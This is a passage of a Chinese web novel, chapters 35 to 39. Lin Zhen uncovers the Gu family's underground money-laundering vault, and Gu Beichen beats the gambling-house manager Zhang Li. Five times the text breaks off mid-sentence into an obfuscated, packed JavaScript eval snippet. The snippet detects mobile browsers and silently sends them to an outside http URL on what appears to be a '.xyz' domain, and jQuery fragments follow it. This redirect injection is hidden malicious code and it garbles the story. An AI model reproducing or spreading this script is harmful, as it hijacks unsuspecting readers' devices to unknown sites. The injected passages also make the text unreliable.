“身在官场争名夺利偶尔吃亏在所难免。这次我们在阴沟里翻船是因为家里出了内鬼你不必自责。” “孩儿并没有自责。”顾北辰淡然的说道:“我只是在想青竹在顾家生活这么多年为什么会突然对我下毒。” “哼还能因为什么?无非就是重金收买!这个吃里扒外的婊子老夫绝不会放过她!” 顾北辰像个红眼耗子似的精神萎靡眼眶黢黑。 这就是纵欲过度的后果要不说少年人戒之在色呢。 他摇摇头说道:“不应该青竹对我的情愫我能感觉到肯定是因为什么事情不得已如此。” “儿啊失败一次并不可耻这件事情就别想了为父告诉你几个好消息。” 顾北辰笑道:“呵我顾北辰是绝不会被打败的别说一个林臻就是这万里河山也不过是我的囊中之物!” “哦?你的意思是给你下毒的人是林臻?” “除了他还能有谁?跟着林家的那些宵小之辈还不敢直接在我们头上动土肯定是林臻这个卑鄙小人!他想破坏我顾家与陛下的关系所以就出此下策但是我万万没想到他们竟然能收买青竹。” 顾云霆狠辣地说道:“为父已经派人去邯郸老家找青竹的父母了想来不需几日就能提着他们的人头回来到时候好好给你出口恶气!” 大乾的人多得都快装不下了死几个根本不叫事儿。 青竹 父母死不死的顾北辰根本不在乎,他只是没有想到那么漂亮的姑娘竟然背叛自己为林家做事。 “那两个丫鬟呢? “放心,被你干死的那两个丫鬟已经安葬了,抚恤会送到他们父母手里,其余的丫鬟就留在你身边吧。暖个床倒个茶什么的也不错。 顾北辰点点头。 他心里还是对死去的两个丫鬟有些愧疚,毕竟她们年纪还很小,美好的人生才刚刚开始。 只不过这种愧疚注定不会持续太久,很快他便转移话题道:“父亲不是说有好消息吗?到底是什么? “哈哈哈哈,说起此事为父就高兴。上午我派毛梦极去赌场. 顾云霆把今天发生的事情娓娓道来,说到皇宫里对峙时就连顾北辰都有些紧张,不由自主的握紧拳头。 林臻说话滴水不漏,句句在理,让人根本没办法反驳,如果今天不是皇帝偏心,结果还真不好说。 这小子什么时候变得这么厉害了! 他不是个纨绔吗?不是个败家子吗?不是不学无术吗? 顾北辰无论如何也想不明白,一个人为何会在一夜之间就变得判若两人。 顾云霆笑道:“哈哈哈,说起这件事老夫就兴奋!等明天我们就当着林臻的面把财宝全部搬走,看那竖子如何作态! “孩儿怀疑他肯定会哭!因为林家就是个大穷鬼! “哈哈哈哈。以后有陛下撑腰,北辰,你就放手大胆的去做吧,任何事情都不用害怕! “好!顾北辰站起来,目光阴狠毒辣的说道:“林臻,这场博弈,就让我们从赌场重新开始吧! 林臻现在比谁都着急,手里攥着圣旨迫不及待地就往赌场跑。 他敢断定,张俪要告诉自己的大秘密就是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789168|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 关于赌场的。 同时也是顾云霆宁可当街火并,冒天下之大不韪也必须要拿回去的。 这段剧情原书里可没写。 该死的作者,有朝一日穿越回去非给你寄半吨刀片不可。 回到赌场,就见张俪正坐在赌桌边和一群衣装破败的木匠谈生意。 这年头手艺人不好混,因为需求低,经济差,百姓手里没钱,豪门大户家也都有自己的工匠。 他们想接个活简直难如登天,就算能接到也只能勉强糊口,很多人混不下去都选择回家种地了。 这次他们接了个大单子,那就是数百辆马车! 而且按对方的要求还得宽敞大气,高贵豪华,最少能坐四个人那种。 细节都商讨得差不多了,就剩下签契约。 此时老木匠韩大力站起来对张俪说道:“多谢张老板的大恩大德,您的这次订单少说能让我们家吃上好几年饱饭啊!” 他一表态,其余木匠也纷纷站起来,客客气气地说道。 “是啊张老板,您简直就是我们的再生父母啊!” “您就是救苦救难的活菩萨啊!” “我老李对天发誓,以后就接你们的单子,别人家的单子都不接了!” “张老板,俺不会写字,按手印也可以吧?” 张俪被他们夸得花枝乱颤,满脸都是笑意盈盈的样子。 “当然可以,不过诸位恐怕要多辛苦几日,这批马车要得很急,而且质量也要有保证。” “张老板放心,我老张就是不吃不喝不睡觉,也会按时交付!” “俺老韩的手艺全京城的百姓都挑不出一个不字,您就请好吧!” “张老板,这就去干活了!” “我们也走了!” 十几个木匠回去准备开工。 他们手底下还有不少同行和学徒,五天之内一定能将五百辆马车打造出来。 更何况张俪还给了预付款,让他们不至于饿肚子干活。 这更是让他们浑身充满干劲。 第36章 天大的秘密,地下钱庄! 林臻望着张俪那利落高效的身影,嘴角勾起一抹满意的微笑。 他缓缓踱步至她跟前,手中紧握着那道沉甸甸的圣旨,对候在一旁的小厮轻声道:“关门,让所有人都退下吧。 “吱呀。一声悠长. 赌场那扇沉甸甸的大门缓缓合上,将外界的喧嚣隔绝于外。张俪心中莫名生出一丝紧张,不自觉地往后挪了几步,与林臻保持了一段微妙的距离。 他该不会是兽性大发,想做什么吧!? “世子,这.大白天的关什么门啊? 林臻轻轻一笑,那笑意却未达眼底,只将手中的圣旨轻轻一抛:“你自己瞧吧。 张俪的目光触及到那圣旨上的五爪金龙,心中便已有了几分猜测。 直到打开看清楚上面的字,这才觉得一阵天旋地转。 只见上面写道:“奉天承运皇帝,诏曰:英雄之姿,岂受出身所限;人世万象,皆应摒弃高低贵贱之别。今,朕特旨定于八月初九吉日,于京中英雄赌场举办前所未有之赌王争霸盛宴。此赛非仅为娱情遣兴,实为选拔世间奇才,以智勇双全者冠绝群英,彰显大国风采。胜出者将有朝廷敕封赌王荣誉称号,荣耀无双。 “扶摇二年,七月二十日。张俪轻声细语地念出这行字,眉头紧锁,眼神中满是不解与惊愕,缓缓抬头望向对方。 “陛下真的会给你这样的圣旨!? 她感觉自己整个人都不好了。 这简直有违三观啊! 堂堂皇帝,一国之君,竟公然支持赌博,还举行什么狗屁赌王争霸赛。 这若传出去别国还不笑掉大牙? 林臻轻轻抿了一口张俪喝过的茶水,未及细品,便猛地一口喷出! 伴随着一阵剧烈的咳嗽:“噗,咳咳咳这什么药啊? “此乃苦茶一味。张俪淡然回应。 林臻眉头紧蹙,一脸难以置信。“你平日里就用它解渴? “虽味苦却能清热去火,宁心养颜,世子若能常饮,亦是大有裨益。 得了吧。 这哪里像是能入口的茶? 茶中竟混杂着生姜与香料的气息,隐约间还有芝麻油的芬芳,茶叶仿佛被油层托举,兀自漂浮其上,不肯沉落。 那一口下去,苦涩交织,犹如大热天旱厕中的稀屎,一口下去直教人翻白眼。 若非意志坚韧之人,恐怕都以为自己要飞升了呢。 林臻心中暗自嘀咕。 千万别问他是怎么知 道大便味道的,那都是年轻时血淋淋的经验。 林臻轻轻吐出嘴中的茶叶沫子,那点点残渣在空中划过一道不雅的弧线,随后他才漫不经心地望向张俪。 “废话少说,告诉我能不能在三个月内赚到十万现银。 “世子,您能告诉我,这是怎么办到的吗? “不能。林臻摇摇头。 “哼。 张俪闻言,不禁娇嗔一声,那目光里既有责备也有几分娇媚,轻轻白了他一眼。 “凭此圣旨,赌场必将门庭若市,三月内凑齐十万两白银,易如反掌。 张俪的目光锐利的道:“不过我们这明明是远大赌场,为什么要改成英雄赌场? “英雄赌场里才能出英雄嘛。你立刻找人打造牌匾,尽快营业。另外,你输了,所以你打算告诉我一个什么秘密呢? 这才是林臻最关心最好奇的事情。 到底是什么秘密,才是顾家宁可当街火并,拼死也要拿走的! 张俪知道自己输了赌注,没有半点拖泥带水,直接说道:“地下钱庄。 “钱庄? “对,这间赌场是顾家的命脉,也是最大的经济来源,但真正让顾家财源滚滚的,并非这赌场本身,而是隐藏在暗处的地下钱庄。 言罢,张俪步履不停,径直迈向赌场的深处,林臻紧随其后。 她边走边说:“世子是知道的,赌场最大的盈利方式就是放贷,但是这间赌场账面上根本没有那么多钱,所以顾家就在赌场的地下开凿了一间仓库,专门存放这么多年来他们家贪污受贿得来的黑钱。最后再由赌场出面将钱贷出去,然后再收回来。 “这一来一回,钱就变成干净的了,所以这里也是顾家洗钱的地方。 林臻闻言,微微颔首,心中早已明了。 他深知赌场对于顾家而言,不仅仅是盈利的工具,更是他们漂白罪证的隐秘舞台。只是,这一切背后的运作,比他预想的还要精妙复杂。 张俪轻步引领着林臻来到仓库门前,用手指触碰一幅描绘着苍劲古松的油画边缘。 随着画框缓缓脱离墙面,一个正方形的隐秘暗格。 张俪轻轻一推,整个墙面竟悄无声息地滑向一侧,露出了背后那深邃的漆黑空间。 林臻暗暗有些吃惊。 即便是以他未来的见识与阅历,也难以想象在这看似平凡的仓库之中,竟藏着如此巨大的地下工程。 古代的贪官还真是高明。 林臻目光锐利,轻声探问:“你既然知道地下钱庄的事情,那顾家为何会允许你被我掳走呢?” 张俪回眸一笑,绚烂如春日之花,语气中带着几分狡黠:“因为他们根本就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789169|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不知道。” 言罢她拿出一个火折子往里走,林臻紧随其后。 “顾府的大管家每天晚上都会来赌场,一开始我只以为他是来查账的,直到我发现仓库里用来放贷的银子越来越多,我才有了好奇心,于是便跟着他发现了这个地方。” “但是他并不知道我已经知道了他们的秘密,要不然,你以为我还能活着吗?” 说着,张俪将仓库内部的烛火点燃。 袅袅光芒散发着淡淡余热,照亮了一小片区域,在这片被光明轻抚的角落里,林臻的眼眸骤然一亮。 眼前,竟是一座闪闪发光的银山! 每一枚银两都皎洁如新雪,统一铸造成五两重的元宝模样,它们层层叠叠,紧密相依,直至堆砌得与简陋的仓库棚顶一样高。 就仿佛是用白银堆砌而成的梦想之壁,既震撼人心,又带着一丝不真实的梦幻。 这TM得多少钱啊? 林臻回想起作为选调生时,那些反腐纪录片中的场景。 什么在家里搜出多少多少亿的资产,纸币垒成一座墙。但都不是亲眼所见。直到这一刻,他才明白钱对一个人的冲击力究竟有多大! 这么多的钱,足以让顾家富可敌国。 难怪在顾北辰在后来的剧情中无往不利。 光是靠这些钱就足以让全大乾的军队不愁吃穿两年。 要知道那可是几十万人! 原书中作者只交代了顾北辰家的产业有多么丰富,每年进账多少钱,顾北辰是如何如何牛逼的天之骄子,但从来没说过他父亲这么能贪! 记得在原书中顾北辰总是给慕容嫣送去很多银两,美名其曰:查处林家派系贪官时缴获的。 慕容嫣也因此越来越喜欢顾北辰,对他痴迷不已,认为他是世界上最厉害的男人。 没错,如果不是自己穿越过来,顾北辰绝对是最厉害的。 但现在嘛你的全部气运都是我的! 这笔横财,只是刚刚开始! 张俪把所有蜡烛都点燃,林臻也终于看清了仓库全貌。 张俪说道:“我粗略算了算,大概有白银二百六十万两,黄金十五万两,玉器珠宝不知道,没数过。” 林臻艰难的咽了口唾沫。 130吨白银,7.5吨黄金。 现在全都是自己的了。 可笑自己竟然还和胖子他们凑钱开公司! 这不是啪啪打自己脸吗? 不行,得赶紧找人把这些钱搬出去,否则明天就是顾北辰的了! 这么多钱放在他手里,他还不得雇一万个刺客弄死自己啊? 第37章 该死的林臻,怎么可以突然搂人家呢! 这么多的钱一时半刻根本搬不完,必须珍惜每一分每一秒,一个子也不能给顾北辰留下。 “俪儿,你立刻去找王胖子,让他带领所有兵马司的士兵来搬银子,全部搬到王府去。” 张俪对这个称呼有些不适应,翻了个白眼:“这么大动作顾家肯定会知道,万一他派兵来拦截怎么办?” “那就不让他知道。”情急之下林臻也没有好办法,毕竟他也没转移过资产,“让兵马司的人都换上百姓服装,用牛车,马车,驴车,只要是能运东西的车都行,现在就开始运。” “不行。”张俪说道:“不管我们怎么掩饰,东西是从赌场出去的,这根本瞒不过顾家的眼线。” “那怎么办!这些钱必须是我的!”林臻眼珠子都红了。 有了这些钱,他就能在三个月内做很多很多事情,林家也不会因为一场战争而就此倾覆掉。 这事关他的生死存亡,容不得一丝大意。 张俪站在原地踱步,想了片刻说道:“我们把赌场后面的药铺买下来!” “你的意思是” “赌场与杏林药铺只隔了一面墙,我们把墙拆掉,直接从院子里运过去,这样就神不知鬼不觉,等搬完以后我们再把墙垒好,这样就永远都没人知道了!” “你可真是天才啊!” 林臻激动地一把搂住张俪的纤腰,把她抱起来原地转了好几个圈。 “哎呀!世子!快放开我!” 林臻知道自己好像高兴过头了,连忙把她放下来。 张俪脸蛋通红,在烛火的照耀下美不胜收。 她紧张的转过身去,用手背摸了摸自己滚烫的脸颊,扭捏半天才用蚊子般的声音说道:“我哎呀,世子.我.妾身去办事了。” 说完张俪便急匆匆地落荒而逃。 林臻心知自己的动作有些冒昧了,古代女子保守且传统,这样的搂抱简直是不敢想象的,也难怪一向落落大方的张俪会紧张得语无伦次。 林臻自嘲地笑了笑。 不知什么时候开始,自己也变得如此轻浮了。 古代阶级思想害人不浅啊,这才几天时间自己就从玩手段的政客变成了一个纨绔世子。 林臻转过头盯着那座金山银山说道:“顾北辰,你敢拿我做人彘,我就敢用你的钱,把你恶心到死。” 张俪本来就生得俊俏,身材又好,被林臻强搂以后更是温婉娇羞,脸蛋白里透红,回到一楼惹得小厮们驻足惊叹,恨不得现在就死在她的石榴裙下 。 “看什么看?今天放假,都回去吧。 张俪一个劲儿地用手冰脸,可那股火热就是退不下去。 该死的林臻,怎么可以突然搂人家呢! 女孩子的腰也是能随便搂的? 没有海誓山盟,没有矢志不渝,又不说负责任,搂完像个没事人似的,简直太不像话了! 尤其他搂自己的时候脑袋就在自己胸口,都不知道揩了多少油! 讨厌死了啦! “掌柜的,今天不干活了吗? “对,小五,你去找个做牌匾的师傅,打造一块英雄赌场的牌匾回来。 “另外柱子,你去城里找些牛车驴车回来,直接送后院去,尽量别被人注意到。 “是,掌柜的,我们这就去。 小五和阿文是张俪买回来的仆役,年龄不大,一直在赌场里打杂,算是张俪的心腹。 即便是心腹,张俪也不敢把事情告诉他们,毕竟这事儿实在是太大,万一传出去大家都没戏唱了。 回到工作状态,小鹿乱撞的心也就安静下来,张俪的脸稍有缓和。 小厮们各自散去,偌大的赌场就剩下张俪自己。 这时,林臻也从后面出来,身上多了个包裹,他取下来递给张俪:“把这个拿上,不管多少钱必须把医馆的后院买下来。 张俪看着林臻一副公事公办地有些委屈,但也没多说什么,接过包裹,蹙起黛眉:“我已经命人去准备牛车驴车了,搬东西的人交给你去找。 “嗯,我会从虎贲营里调三百甲士过来,争取一天一夜把东西搬完。 “算你聪明。 虎贲营是林震仙的心腹部队,已经连续五年没有招募过新的士兵,几乎是铁板一块。 让他们来搬不担心走漏消息。 张俪发现林臻真的没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789170|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有传闻中那么缺心眼,相反这是个极其聪明的人,谋定而后动,运筹帷幄,丝毫不比顾北辰差。 女人天生慕强,连张俪自己都不知道,林臻早已经像汪洋大海那样灌溉了她的心田。 林臻回家去找林震仙拿虎符,张俪则是背上沉甸甸的包裹来到杏林医馆。 全华夏有很多叫杏林的医馆,但也没见谁家门口真的有杏林。 这间医馆不大,馆主是个行将就木的老中医,同时也是城内有名的正骨大师,据说还给先帝治疗过颈椎,名望很高。 每天来他这里看病的人络绎不绝,张俪过来的时候竟然还要排队。 时间紧 迫,张俪直接来到最前面,这时身后的病人开始喊道。 “诶诶诶?长得漂亮也不能插队啊!” “就是,我们都排一上午了!” “看她的穿着就知道是个风尘女子,恶心!” “聒噪什么?”张俪也是大掌柜,面对这种风言风语当然不能忍。 她砰的一声把包裹放在老中医诊脉的桌子上,解开扣子露出里面金灿灿的大元宝。 这一下所有人都闭嘴了。 不管什么年代,有钱人都不好惹,更何况人家出手如此阔绰。 这么多黄金买他们几条贱命绰绰有余。 老中医名叫孙之推,他认识张俪,捋着胡须看了看她说道:“张老板,你这是” “孙老神仙,小女子冒昧了,想用这笔钱买你家后院。” “买我家后院?呵呵呵,可是老朽并没有要卖的意思啊。” “请孙老神仙帮忙,只要您肯卖给我,日后有事,林家必鼎力相助。” “林家?”孙之推一张老脸满是惊讶:“可是摄政王府?” “是。” “好,老朽卖给你,但不需要这么多钱。”孙之推从金子里拿出来一块,大概五两的样子。 张俪本以为老家伙会很执拗,却没想到答应得这么痛快,而且只拿了五两金子。 就算换成银子那也才五十两,这点钱根本买不到京城里最佳地段的宅子。 张俪不解地问道:“孙老神仙,您这是何意?” 第38章 就我这B操行的也值五两银子? “呵呵呵。”孙之推的笑声温暖而和煦,他缓缓言道。 “试问这大乾上下,何人不知王爷对百姓极好?即便是自己忍饥挨饿,也要确保灾民能有一碗热粥下肚。为了这等仁心宅厚的君子,老朽自是义不容辞,愿尽绵薄之力。” 原来是这样。 在大乾朝堂之上,官员们林林总总,除去少数依附于林震仙权势之下者,余者大多对林震仙抱持着一份难以言喻的疏离与不喜。 皆因他性情刚直,丝毫不为个人私欲所动,满心满眼唯有百姓福祉。 跟他混非但无福可享,反而需常伴清苦,紧衣缩食,根本捞不到半点好处。 于是乎外界就有传言抹黑林家,加上林臻自己不争气,到处惹是生非,所以林家的名声越来越差。 张俪也是受到传言的影响,所以一开始对林臻并没有好感,如今真相如同拨云见日,她也对林家有了新的看法。 “多谢孙老神仙,那小女子这就回去交差了。” 孙之推微微一笑道:“烦请姑娘代老朽向王爷问好,提醒他这几日该来复诊了。” “好。” 张俪带着剩下的钱回到赌场。 有了这间院子,就算顾北辰再神通广大也找不到任何破绽。 “阿欠!”顾北辰接连不断地打了十几个喷嚏。 顾云霆刚将谷中满送至门外,转身步入屋内。 见儿子这副模样,不禁眉头微皱,关切地问道:“北辰,你这是不是染了风寒啊?” 顾北辰轻轻摇头,神色凝重:“绝对不是。父亲,孩儿有种很不好的预感,好像要出什么事情。” 顾云霆闻言,笑声爽朗:“呵呵呵,现在形势一片大好,能出什么事儿?” “父亲。”顾北辰的眼神突然变得十分凌厉,“您确定地下钱庄的事情林臻不知道?” “确定,别说他,就连张俪都不知道!一直以来这件事情都是大管家在经手,出不了任何意外。” 说起张俪,顾北辰就有些恼怒。 这个臭婊子,被林臻掳走以后竟然连解释的话都没给顾家,就这么直接叛变了。 亏得家里还把她当成心腹来培养。 等有机会抓到她,非让她付出代价不可。 任何背叛我顾家的人,都要受到最严厉的惩罚!绝无例外! 顾北辰眉宇拧成一团,还是百思不解:“那就奇怪了,您知道孩儿的感觉一向很准.不行,我得去赌场看看。” 言罢顾北辰便 要起身,却被顾云霆轻轻按住肩头:“北辰,不可冲动! “既然约定好明天正午,早一刻钟都是对陛下的冒犯。虽然陛下向着我们,但我们也不能一次次挑战他的底线。你还是老老实实在家休息,明天再说吧。 顾云霆心中虽也暗自忧虑家族基业,却也深知不可屡次触怒龙颜,以免招致祸端。 顾北辰想想也确实是这个道理,遂按下心头纷扰,不再多言。 然而,那份挥之不去的阴霾如同乌云蔽日,让他的内心难以平静,坐立难安,仿佛有千钧重担压在胸口。 他来来回回地在屋内踱步,一番挣扎后,还是决定出门去看看。 “父亲,孩儿去找张俪问问。 “找她没问题,切记不可胡来,我们已经输了两次,万万不能再被林臻抓到小辫子,别忘了,林臻并不可怕,可怕的是林震仙! “父亲放心,孩儿明白。言罢顾北辰便急忙出去。 他敢断定,赌场这里面一定有事儿。 林臻回到王府向林震仙索要虎贲营的虎符。 老爷子说死就是不给。 说来也对,兵权是江山社稷的重中之重,绝不会因为林臻这两天表现还不错就轻易交给他。 要知道他以前可是个不折不扣的纨绔。 但林震仙也想看看自己孙子到底有多少变化,于是答应和他一起去军营点兵。 其实这件事情自始至终林臻都不打算告诉林震仙。 以他老人家的性子,万一知道了自己有这么多钱,肯定第一个时间就分发补贴给那些士兵。 这样虽然能收买人心,但一个人的忠诚如果只靠金钱来维系的话,也并不牢靠。 更何况现在还不到补贴士兵的时候,这些钱留着有大用处。 爷孙俩骑上马直奔城外,没用多少时间便点齐五百最心腹的虎贲营将士。 这些人之所以被称之为虎贲营,就是一个个都壮的像个小牛犊子。 他们是战场上扛盾牌的,也是四大营里的领头羊,战斗力之强悍,意志之顽强让敌人闻风丧胆,尤其是防守战天下一绝,乃大乾所有百姓的定心丸。 京城只要有他们在,任何势力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789171|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都别想攻进来。 只可惜,三个月后林震仙战线吃紧,调虎贲营前来支援,导致他们折损大半,剩下的残兵败将则是被顾北辰打散分配到各个军营里。 林震仙说要留下和将士们聊聊天,便让林臻带着五百甲士先往回走。 伏虎校尉曹雄骑 在马上,和林臻瓮声瓮气地说道:“世子,王爷这么着急忙慌地调我们回京是嘎哈呀?” 林臻没有多少骑马经验,结果从城内一路狂飙到军营,大腿根都磨破了,动不动就要踩着马镫站起来缓缓,呲牙咧嘴地回答他。 “嘶,嗐,不是王爷让你们回来的,是我。” “是您?您要我们这群糙老爷们嘎哈?龙骧营那群小逼崽子不是在城里吗?” 这哥们估计是辽东那边的,说话很直也很不客气。 其实四大营之间谁也不服谁,暗中较劲,相互比试,曹雄这么说也有情可原。 林臻说道:“龙骧营鱼龙混杂,办这件事不安全。” “啊?这样啊?草!我就说那帮Beyond不靠谱,还得是咱自己人!” “以后给我当亲卫怎么样?工钱我来给你们发,每人每月三两纹银,至于你嘛特例独行,五两如何?” “啊?” 曹雄吓得差点从马上摔下去。 一个月五两银子! 这不发财了吗? 他指着自己问道:“世子,您说的都是真的?就我这B操行的也值五两银子?” 林臻点头:“嗯,只要你忠心。” “必须滴呀~我们四大营永远忠诚王爷!”想了想曹雄觉得不妥又改口:“额还有世子!” “哈哈哈哈,你这家伙有点意思!不错,我很喜欢。一会儿搬东西的时候重重有赏。” “搬东西?世子,咱一会儿搬啥啊?” “搬钱!” “啊?” 且不说林臻如何带着虎贲营进城。 顾北辰已经骑着快马来到了赌场,此刻远大赌场的牌匾已经扯了下来,新的牌匾还没挂上去。 见大门紧闭,只有个小厮在台阶下面昏昏欲睡,他走上前直接推开大门。 “诶诶诶!干什么的?赌场还没营业呢!” 顾北辰哪里会管一个小厮的叫嚷?对着空旷的赌场内部大喊道:“张俪呢?给我滚出来!” 第39章 顾北辰殴打张俪,林臻魔神降世 赌场后院。 阿文给张俪搬来一张椅子和茶台,此刻她正端着茶盏怡然自得地看着力工砸墙。 青砖垒成的墙面不是很结实,几锤子下去就凿出一个大窟窿,然后一块一块将青砖掏出来,速度很快。 张俪红唇微启,轻抿杯口,动作优美典雅,看得阿文魂不守舍赶紧转过身去。 老板实在是太美了,也不知道是谁能有那个福气拥有她。 “掌柜的!小五从后门跑过来,焦急地喊道:“顾少来了,在前面大发脾气。 张俪黛眉微蹙。 他怎么来了? 如果说以前自己对顾北辰是仰慕与喜欢,那现在就是抠脚的尴尬。 毕竟自己已经叛变加入林家阵营,事后也没有和顾家解释,现在顾北辰找上门来兴师问罪。 阿文说道:“老板,我们是不是得去看看? “当然得看,唉,就是不知道说些什么好。 张俪有些无奈。 是福不是祸,是祸躲不过,即便自己再怎么避讳这件事,它还是会发生。 也罢,那就去看看吧。 张俪起身,带着阿文和小五回到赌场。 刚刚进门,就看到顾北辰一个人坐在赌桌边气势汹汹,一副要找茬的样子。 他侧对着张俪,身材笔挺,刀削的脸庞,剑眉星目。 说实话,张俪真觉得顾北辰的侧颜好生耐看,不自觉地开始和林臻进行对比。 偷偷比了半天,她还是觉得林臻的痞帅更招人喜欢一些。 尤其是他搂住自己的感觉,那强而有力的臂膀与坏笑,远远不是顾北辰那副阴柔美能比拟的。 想起林臻,张俪也壮了几分胆气,抛弃尴尬来到顾北辰面前作揖。 “顾少。 顾北辰定睛看着她,好像要把眼前之人的内心看穿那般。 张俪却纹丝不动,就站在原地让他看。 半晌时间,顾北辰也没看出来什么,淡淡道:“张俪,你背叛顾家,该当何罪? 张俪就知道顾北辰要这么问,也早就准备好了说辞。 “顾少,当日我被林世子掳走时,顾家可有救我吗?既然没有,那就证明顾家已经抛弃了我,那我为何不改弦易帜,换棵大树栖身呢。 “你知道背叛顾家是什么后果吗? “顾少,我没有背叛,是顾家抛弃了我。 “啪! “啊! 顾北辰毫无征兆地,起 身就是一个大嘴巴,把张俪抽倒在地上。 张俪捂着脸,倔强的不肯流泪,只恨恨地盯着他。 “老板!阿文和小五跑过来,把张俪护在身后。 顾北辰霸气凛然,居高临下的看着张俪三人,宛若在看三只蝼蚁。 “雷霆雨露都是天恩!我顾家看得起你,让你做赌场掌柜,你就该做好时刻为顾家牺牲的准备!可是你居然编排我顾家的不是,你有几个胆子!? “顾少,您也是大乾鼎鼎有名的豪门世子,如此殴打一个女子就不知道羞耻吗?小五气得眼珠子通红,阿文同样怒不可遏。 “顾少,我们掌柜三年来为顾家尽心尽力,可是在她有难的时候你们连管都不管,现在问题解决了你又来兴师问罪,你顾家就一点脸都不要吗? “滚! “砰!顾北辰抬脚就踹在阿文脸上,鼻血瞬间飙出! 张俪失声喊叫:“阿文! “我顾家做事还轮不到你们两个小杂役来说三道四,张俪,你敢背叛顾家,就要承受顾家的怒火!现在两条路由你选,一是给我顾家当卧底,监视林臻;二就是自杀谢罪,你自己选! 张俪抱着满脸是血的阿文,瘫坐在地上,她怔怔地望着这个自己曾喜欢过的男人。 以前的他不是这个样子的。 他温文尔雅,玉树临风,每次出现在赌场都是众人焦点,对自己笑意盈盈。 可今天,自己才看清他的真面目。 这是个没有任何底线的小人! 这样的人,根本没有和林臻作对的资格。 他只不过是个靠身份来吆五喝六,殴打底层人的人渣! 自己当初真是瞎了眼! “我哪个都不选!你顾北辰没资格命令我! “我真是给你脸了! 顾北辰抬脚要踹张俪的脸。 这一下如果踹中,张俪肯定会毁容! 就在这千钧一发的时候,小五用身体挡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789172|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在张俪前面。 “砰! “啊! “小五! “还敢找人挡?我今天非得好好教训教训你!让你知道背叛我的代价! 说完顾北辰就要上手殴打张俪。 小五和阿文不敢和他动手,只能死死把张俪护在身下。 顾北辰想打张俪打不打,就猛踹阿文的后脖颈,三两下就把这小子踹晕了过去。 再这么下去不是办法啊! 顾北辰已经疯了! 他这是把这两天受的窝囊气全都洒在了张俪身上。 可惜张俪今天为了保守钱庄的秘密,把所有小厮都赶了出去,若是有人帮忙也不至于这样。 小五慌乱之中拉起张俪要跑,顾北辰追了上去,一脚将他踹翻在地。 “还敢跑!” “砰!” 小五摔倒的瞬间也带着张俪,两人一同摔在门口。 就在此时,大门突然被人推开! 林臻带着曹雄以及数百黑甲士兵出现在眼前。 张俪好像看到了这世间最美丽的景色,她终于带着一抹哭腔喊道:“世子.” “俪儿!”林臻大叫一声赶紧把张俪扶起来,“这是怎么回事?发生什么了?” 张俪指着场中,林臻看去就见顾北辰满脸狰狞地站在那里。 阿文已经昏厥过去,小五满脸都是血,张俪虽然被保护得很好但身上也有几个脚印。 这明显都是被顾北辰打的! “敢打我的人!我*你*的!”林臻眼珠子喷火,从曹雄腰间抽出长刀,快步冲向顾北辰。 顾北辰吓坏了,还以为林臻要行凶,赶紧围着赌桌逃窜。 “林臻!你要干什么!” “你敢动我打一下,顾家与你不死不休!” “你把刀放下,有话好说!” 林臻追来追去追不上,气得一刀将赌桌砍断! “砰!” 他宛若一尊地狱来的杀神沐浴在漫天的碎屑之中。 而顾北辰则是瘫软在地上,指着林臻喊道:“林臻!我是顾家少爷,是陛下的亲信,你敢动我,就不怕林家灭亡吗?” “灭亡?呵,我今天就先灭了你!” 第40章 